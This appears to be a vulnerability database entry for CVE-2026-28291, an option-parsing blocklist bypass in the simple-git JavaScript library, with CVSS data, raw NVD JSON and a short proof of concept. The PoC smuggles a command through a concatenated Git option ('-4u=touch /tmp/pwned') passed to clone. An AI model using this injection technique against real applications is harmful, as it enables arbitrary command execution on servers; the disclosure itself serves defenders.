Security Vulnerability Report
中文
CVE-2026-28291 CVSS 8.1 HIGH

CVE-2026-28291

Published: 2026-04-13 18:16:29
Last Modified: 2026-05-13 20:52:39

Description

simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:simple-git_project:simple-git:*:*:*:*:*:node.js:*:* - VULNERABLE
simple-git <= 3.31.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-28291: simple-git arbitrary command execution bypass // Vulnerable versions: <= 3.31.1 // The vulnerability allows bypassing the blocklist for unsafe options like '--upload-pack' // by using Git's flexible option parsing (e.g., -4u, -vu). const { simpleGit } = require('simple-git'); async function exploit() { const git = simpleGit(); const repoUrl = 'https://github.com/user/repo.git'; const targetDir = '/tmp/poc_repo'; // The library blocks '--upload-pack' and '-u' explicitly. // However, Git allows concatenating options. Attackers can use variants // that are not in the regex blocklist but are parsed by Git as -u. // Example: '-4u' might be interpreted by Git as options '-4' and '-u'. // Malicious payload: execute a command (e.g., touch /tmp/pwned) const maliciousOptions = ['-4u=touch /tmp/pwned']; try { console.log("Attempting to exploit via option obfuscation..."); await git.clone(repoUrl, targetDir, maliciousOptions); console.log("Exploit successful: Command executed via Git option bypass."); } catch (error) { console.error("Exploit failed or error occurred:", error); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28291", "sourceIdentifier": "[email protected]", "published": "2026-04-13T18:16:28.760", "lastModified": "2026-05-13T20:52:38.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:simple-git_project:simple-git:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.32.0", "matchCriteriaId": "EA26E07D-0B7E-41C5-B558-24BF244B8E37"}]}]}], "references": [{"url": "https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2022-25860", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}